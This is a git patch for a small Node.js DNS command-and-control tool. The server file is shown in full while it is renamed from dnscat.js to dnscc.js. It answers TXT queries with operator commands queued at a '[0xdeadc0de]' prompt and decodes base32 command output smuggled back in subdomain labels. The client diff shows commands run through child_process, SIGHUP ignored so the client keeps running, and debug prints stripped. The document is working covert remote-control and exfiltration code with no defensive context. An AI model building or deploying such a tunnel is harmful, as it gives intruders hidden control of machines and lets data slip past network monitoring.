From 833d3536704e74066633899d48fdfbb06127e31d Mon Sep 17 00:00:00 2001 From: Carson Fleming Date: Fri, 15 Jul 2022 01:04:39 -0700 Subject: Remove debugging prints; rename main file --- dnscat.js | 286 -------------------------------------------------------------- dnscc.js | 286 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ dnscli.js | 4 +- 3 files changed, 288 insertions(+), 288 deletions(-) delete mode 100644 dnscat.js create mode 100644 dnscc.js diff --git a/dnscat.js b/dnscat.js deleted file mode 100644 index 8956b2e..0000000 --- a/dnscat.js +++ /dev/null @@ -1,286 +0,0 @@ -const dgram = require('dgram'); -const Buffer = require('buffer').Buffer; -const readline = require('readline'); - -const host = '0.0.0.0'; -const port = 53; -const commandQueue = []; - -const length_descending = (a, b) => b.length - a.length; -const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : []; -const sock = dgram.createSocket('udp4'); - -function bitSlice(byte, offset, len) { - return (byte >>> (8 - offset - len)) & ~(0xff << len); -} - -function parseRequest(buffer) { - const query = { - header: {}, - questions: [], - }; - - query.header.id = buffer.subarray(0, 2); - - let tmp = buffer.subarray(2, 3).toString('binary', 0, 1).charCodeAt(0); - query.header.qr = bitSlice(tmp, 0, 1); - query.header.opcode = bitSlice(tmp, 1, 4); - query.header.aa = bitSlice(tmp, 5, 1); - query.header.tc = bitSlice(tmp, 6, 1) - query.header.rd = bitSlice(tmp, 7, 1); - - tmp = buffer.subarray(3, 4).toString('binary', 0, 1).charCodeAt(0); - query.header.ra = bitSlice(tmp, 0, 1); - query.header.z = bitSlice(tmp, 1, 3); - query.header.rcode = bitSlice(4, 4); - - query.header.qdcount = buffer.subarray(4, 6); - query.header.ancount = buffer.subarray(6, 8); - query.header.nscount = buffer.subarray(8, 10); - query.header.arcount = buffer.subarray(10, 12); - - let idx = 12; - let question = {}; - let domain = ''; - let questionsLeft = query.header.qdcount.readUInt16BE(); - - while (idx < buffer.length - 4) { - const sz = buffer[idx]; - if (sz == 0) { - question.qname = domain.substr(1); - question.qtype = buffer.subarray(idx + 1, idx + 3); - question.qclass = buffer.subarray(idx + 3, idx + 5); - query.questions.push(question); - - if (--questionsLeft == 0) break; - question = {}; - domain = ''; - idx += 5; - } else { - domain += '.' + buffer.toString('binary', idx + 1, idx + sz + 1); - idx += sz + 1; - } - } - - return query; -} - -function buildResponse(query, qn, text) { - const answer = { - header: {}, - question: query.questions[qn], - rr: { - qname: query.questions[qn].qname, - qtype: query.questions[qn].qtype, - qclass: query.questions[qn].qclass, - ttl: 0, - rdata: text, - rdlen: text.length, - }, - }; - - answer.header.id = query.header.id; - answer.header.qr = 1; - answer.header.opcode = query.header.opcode; - answer.header.aa = 1; - answer.header.tc = 0; - answer.header.rd = query.header.rd; - answer.header.ra = 0; - answer.header.z = 0; - answer.header.rcode = 0; - - answer.header.qdcount = query.questions.length; - answer.header.ancount = 1; - answer.header.nscount = 0; - answer.header.arcount = 0; - - return buildResponseBuffer(answer); -} - -function wrapQName(str, offset, ptrs = {}) { - str = str.toLowerCase(); - if (str in ptrs) return [0xc0, ptrs[str]]; - ptrs[str] = offset; - - const selectors = str.split('.'); - const buffer = []; - - for (const selector of selectors) { - buffer.push(selector.length & 0x3f); - for (let i = 0; i < selector.length; i++) { - buffer.push(selector.charCodeAt(i)); - } - } - - buffer.push(0x00); - return buffer; -} - -function buildResponseBuffer(answer) { - const pointerTable = {}; - const wrappedName = Buffer.from(wrapQName(answer.question.qname, 12, pointerTable)); - const qnsz = wrappedName.length; - const sz = 16 + qnsz; - const buffer = Buffer.alloc(sz); - - answer.header.id.copy(buffer, 0, 0, 2); - buffer[2] = answer.header.qr << 7 | answer.header.opcode << 3 | answer.header.aa << 2 | answer.header.tc << 1 | answer.header.rd; - buffer[3] = answer.header.ra << 7 | answer.header.z << 4 | answer.header.rcode; - - buffer.writeUInt16BE(answer.header.qdcount, 4); - buffer.writeUInt16BE(answer.header.ancount, 6); - buffer.writeUInt16BE(answer.header.nscount, 8); - buffer.writeUInt16BE(answer.header.arcount, 10); - - wrappedName.copy(buffer, 12, 0, qnsz); - answer.question.qtype.copy(buffer, 12 + qnsz, 0, 2); - answer.question.qclass.copy(buffer, 14 + qnsz, 0, 2); - - const rr = wrapQName(answer.rr.qname, sz, pointerTable); - - const qtype = answer.rr.qtype.readUInt16BE(); - rr.push(qtype >> 8 & 0xff); - rr.push(qtype & 0xff); - const qclass = answer.rr.qclass.readUInt16BE(); - rr.push(qclass >> 8 & 0xff); - rr.push(qclass & 0xff); - const ttl = answer.rr.ttl; - rr.push(ttl >> 24 & 0xff); - rr.push(ttl >> 16 & 0xff); - rr.push(ttl >> 8 & 0xff); - rr.push(ttl & 0xff); - const rdlength = answer.rr.rdlen + 1; - rr.push(rdlength >> 8 & 0xff); - rr.push(rdlength & 0xff); - rr.push(rdlength - 1 & 0xff); - - const rrdata = rr.concat(answer.rr.rdata.split('').map(c => c.charCodeAt(0))); - return Buffer.concat([buffer, Buffer.from(rrdata)]); -} - -sock.on('message', function(req, rinfo) { - const query = parseRequest(req); - for (let i = 0; i < query.questions.length; i++) { - if (query.questions[i].qtype.readUInt16BE() != 16) continue; // only answer TXT queries - - const qname = query.questions[i].qname.toLowerCase(); - let recognized = false, domain; - - for (domain of domains) { - domain = domain.toLowerCase(); - if (qname.endsWith('.' + domain)) { - recognized = true; - break; - } - } - if (!recognized) continue; - - const selector = qname.substr(0, qname.indexOf('.' + domain)).toLowerCase(); - const overhead = 32, max_sz = 512, max_txt = 255; - - let resp; - - if (selector == "asuh") { - if (commandQueue.length < 1) { - resp = 'nop'; - } else { - resp = commandQueue.shift(); - while (resp.length > max_txt || resp.length + domain.length + overhead > max_sz) { - console.log('\n[WARN] Queued command is too long; skipping "', resp, '"'); - rl.prompt(true); - resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop'; - } - } - } else { - const output = unpack(selector); - if (!output) { - console.log('\n[WARN] Unable to decode selector:', selector, "; tampering detected"); - rl.prompt(true); - return; - } - console.log(); - if (output === '\xde\xadDONE') { - console.log(); - rl.prompt(true); - } else { - process.stdout.write(output); - } - - resp = 'ok'; - } - - const responseBuffer = buildResponse(query, i, resp); - sock.send(responseBuffer, 0, responseBuffer.length, rinfo.port, rinfo.address, function(e) { - if (e) console.warn('Error Sending Response:', e); - }); - } -}); - -function unpack(s) { - const chunks = s.split('.').reverse().map(c => decode(c)); - return chunks.join(''); -} - -function decode(s) { - const len = s.length; - const apad = 'abcdefghijklmnopqrstuvwxy1234567z'; - let v,x,r=0,bits=0,c,o=''; - - for(i=0;i 32) return false; - if (v == 32) continue; - - x = (x << 5) | v; - bits += 5; - if (bits >= 8) { - c = (x >> (bits - 8)) & 0xff; - o = o + String.fromCharCode(c); - bits -= 8; - } - } - if (bits>0) { - c = ((x << (8 - bits)) & 0xff) >> (8 - bits); - - if (c!==0) { - o = o + String.fromCharCode(c); - } - } - - return o; -} - -sock.on('error', function(e) { - console.error('Socket Error:', e); -}); - -sock.bind(port, host); -console.log('Bound on '+host+':'+port); -console.log('Serving domains: ', domains); - -const rl = readline.createInterface({ - input: process.stdin, - output: process.stdout, - terminal: true, - prompt: '\x1b[1;37m[0xdeadc0de]\x1b[0m ', -}); - -rl.on('line', function (cmd) { - commandQueue.push(cmd.trim()); -// rl.prompt(); -}); - -rl.on('close', function () { - console.log('Quitting.'); - sock.close(); -}); - -rl.on('SIGINT', function () { - console.log('^C'); - rl.line = ''; - rl.cursor = 0; - rl.prompt(); -}); - -console.log('[INFO] Command interpreter started') -rl.prompt(); diff --git a/dnscc.js b/dnscc.js new file mode 100644 index 0000000..8956b2e --- /dev/null +++ b/dnscc.js @@ -0,0 +1,286 @@ +const dgram = require('dgram'); +const Buffer = require('buffer').Buffer; +const readline = require('readline'); + +const host = '0.0.0.0'; +const port = 53; +const commandQueue = []; + +const length_descending = (a, b) => b.length - a.length; +const domains = process.argv.length > 2 ? process.argv.slice(2).sort(length_descending) : []; +const sock = dgram.createSocket('udp4'); + +function bitSlice(byte, offset, len) { + return (byte >>> (8 - offset - len)) & ~(0xff << len); +} + +function parseRequest(buffer) { + const query = { + header: {}, + questions: [], + }; + + query.header.id = buffer.subarray(0, 2); + + let tmp = buffer.subarray(2, 3).toString('binary', 0, 1).charCodeAt(0); + query.header.qr = bitSlice(tmp, 0, 1); + query.header.opcode = bitSlice(tmp, 1, 4); + query.header.aa = bitSlice(tmp, 5, 1); + query.header.tc = bitSlice(tmp, 6, 1) + query.header.rd = bitSlice(tmp, 7, 1); + + tmp = buffer.subarray(3, 4).toString('binary', 0, 1).charCodeAt(0); + query.header.ra = bitSlice(tmp, 0, 1); + query.header.z = bitSlice(tmp, 1, 3); + query.header.rcode = bitSlice(4, 4); + + query.header.qdcount = buffer.subarray(4, 6); + query.header.ancount = buffer.subarray(6, 8); + query.header.nscount = buffer.subarray(8, 10); + query.header.arcount = buffer.subarray(10, 12); + + let idx = 12; + let question = {}; + let domain = ''; + let questionsLeft = query.header.qdcount.readUInt16BE(); + + while (idx < buffer.length - 4) { + const sz = buffer[idx]; + if (sz == 0) { + question.qname = domain.substr(1); + question.qtype = buffer.subarray(idx + 1, idx + 3); + question.qclass = buffer.subarray(idx + 3, idx + 5); + query.questions.push(question); + + if (--questionsLeft == 0) break; + question = {}; + domain = ''; + idx += 5; + } else { + domain += '.' + buffer.toString('binary', idx + 1, idx + sz + 1); + idx += sz + 1; + } + } + + return query; +} + +function buildResponse(query, qn, text) { + const answer = { + header: {}, + question: query.questions[qn], + rr: { + qname: query.questions[qn].qname, + qtype: query.questions[qn].qtype, + qclass: query.questions[qn].qclass, + ttl: 0, + rdata: text, + rdlen: text.length, + }, + }; + + answer.header.id = query.header.id; + answer.header.qr = 1; + answer.header.opcode = query.header.opcode; + answer.header.aa = 1; + answer.header.tc = 0; + answer.header.rd = query.header.rd; + answer.header.ra = 0; + answer.header.z = 0; + answer.header.rcode = 0; + + answer.header.qdcount = query.questions.length; + answer.header.ancount = 1; + answer.header.nscount = 0; + answer.header.arcount = 0; + + return buildResponseBuffer(answer); +} + +function wrapQName(str, offset, ptrs = {}) { + str = str.toLowerCase(); + if (str in ptrs) return [0xc0, ptrs[str]]; + ptrs[str] = offset; + + const selectors = str.split('.'); + const buffer = []; + + for (const selector of selectors) { + buffer.push(selector.length & 0x3f); + for (let i = 0; i < selector.length; i++) { + buffer.push(selector.charCodeAt(i)); + } + } + + buffer.push(0x00); + return buffer; +} + +function buildResponseBuffer(answer) { + const pointerTable = {}; + const wrappedName = Buffer.from(wrapQName(answer.question.qname, 12, pointerTable)); + const qnsz = wrappedName.length; + const sz = 16 + qnsz; + const buffer = Buffer.alloc(sz); + + answer.header.id.copy(buffer, 0, 0, 2); + buffer[2] = answer.header.qr << 7 | answer.header.opcode << 3 | answer.header.aa << 2 | answer.header.tc << 1 | answer.header.rd; + buffer[3] = answer.header.ra << 7 | answer.header.z << 4 | answer.header.rcode; + + buffer.writeUInt16BE(answer.header.qdcount, 4); + buffer.writeUInt16BE(answer.header.ancount, 6); + buffer.writeUInt16BE(answer.header.nscount, 8); + buffer.writeUInt16BE(answer.header.arcount, 10); + + wrappedName.copy(buffer, 12, 0, qnsz); + answer.question.qtype.copy(buffer, 12 + qnsz, 0, 2); + answer.question.qclass.copy(buffer, 14 + qnsz, 0, 2); + + const rr = wrapQName(answer.rr.qname, sz, pointerTable); + + const qtype = answer.rr.qtype.readUInt16BE(); + rr.push(qtype >> 8 & 0xff); + rr.push(qtype & 0xff); + const qclass = answer.rr.qclass.readUInt16BE(); + rr.push(qclass >> 8 & 0xff); + rr.push(qclass & 0xff); + const ttl = answer.rr.ttl; + rr.push(ttl >> 24 & 0xff); + rr.push(ttl >> 16 & 0xff); + rr.push(ttl >> 8 & 0xff); + rr.push(ttl & 0xff); + const rdlength = answer.rr.rdlen + 1; + rr.push(rdlength >> 8 & 0xff); + rr.push(rdlength & 0xff); + rr.push(rdlength - 1 & 0xff); + + const rrdata = rr.concat(answer.rr.rdata.split('').map(c => c.charCodeAt(0))); + return Buffer.concat([buffer, Buffer.from(rrdata)]); +} + +sock.on('message', function(req, rinfo) { + const query = parseRequest(req); + for (let i = 0; i < query.questions.length; i++) { + if (query.questions[i].qtype.readUInt16BE() != 16) continue; // only answer TXT queries + + const qname = query.questions[i].qname.toLowerCase(); + let recognized = false, domain; + + for (domain of domains) { + domain = domain.toLowerCase(); + if (qname.endsWith('.' + domain)) { + recognized = true; + break; + } + } + if (!recognized) continue; + + const selector = qname.substr(0, qname.indexOf('.' + domain)).toLowerCase(); + const overhead = 32, max_sz = 512, max_txt = 255; + + let resp; + + if (selector == "asuh") { + if (commandQueue.length < 1) { + resp = 'nop'; + } else { + resp = commandQueue.shift(); + while (resp.length > max_txt || resp.length + domain.length + overhead > max_sz) { + console.log('\n[WARN] Queued command is too long; skipping "', resp, '"'); + rl.prompt(true); + resp = commandQueue.length > 0 ? commandQueue.shift() : 'nop'; + } + } + } else { + const output = unpack(selector); + if (!output) { + console.log('\n[WARN] Unable to decode selector:', selector, "; tampering detected"); + rl.prompt(true); + return; + } + console.log(); + if (output === '\xde\xadDONE') { + console.log(); + rl.prompt(true); + } else { + process.stdout.write(output); + } + + resp = 'ok'; + } + + const responseBuffer = buildResponse(query, i, resp); + sock.send(responseBuffer, 0, responseBuffer.length, rinfo.port, rinfo.address, function(e) { + if (e) console.warn('Error Sending Response:', e); + }); + } +}); + +function unpack(s) { + const chunks = s.split('.').reverse().map(c => decode(c)); + return chunks.join(''); +} + +function decode(s) { + const len = s.length; + const apad = 'abcdefghijklmnopqrstuvwxy1234567z'; + let v,x,r=0,bits=0,c,o=''; + + for(i=0;i 32) return false; + if (v == 32) continue; + + x = (x << 5) | v; + bits += 5; + if (bits >= 8) { + c = (x >> (bits - 8)) & 0xff; + o = o + String.fromCharCode(c); + bits -= 8; + } + } + if (bits>0) { + c = ((x << (8 - bits)) & 0xff) >> (8 - bits); + + if (c!==0) { + o = o + String.fromCharCode(c); + } + } + + return o; +} + +sock.on('error', function(e) { + console.error('Socket Error:', e); +}); + +sock.bind(port, host); +console.log('Bound on '+host+':'+port); +console.log('Serving domains: ', domains); + +const rl = readline.createInterface({ + input: process.stdin, + output: process.stdout, + terminal: true, + prompt: '\x1b[1;37m[0xdeadc0de]\x1b[0m ', +}); + +rl.on('line', function (cmd) { + commandQueue.push(cmd.trim()); +// rl.prompt(); +}); + +rl.on('close', function () { + console.log('Quitting.'); + sock.close(); +}); + +rl.on('SIGINT', function () { + console.log('^C'); + rl.line = ''; + rl.cursor = 0; + rl.prompt(); +}); + +console.log('[INFO] Command interpreter started') +rl.prompt(); diff --git a/dnscli.js b/dnscli.js index 204b439..befb9d6 100644 --- a/dnscli.js +++ b/dnscli.js @@ -8,6 +8,8 @@ const NOP_SLEEP_TIME = 1; const dns = require('dns'); const cp = require('child_process'); +process.on('SIGHUP', function() {}); + function sleep(sec) { return new Promise(function(resolve) { setTimeout(resolve, 1000*sec); @@ -58,13 +60,11 @@ async function event() { if (stdout.length > 0) { for (let line of stdout.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } if (stderr.length > 0) { for (line of stderr.split('\n')) { - console.log('line: "', line, '"'); packets = packets.concat(encode(line)); } } -- cgit v1.2.3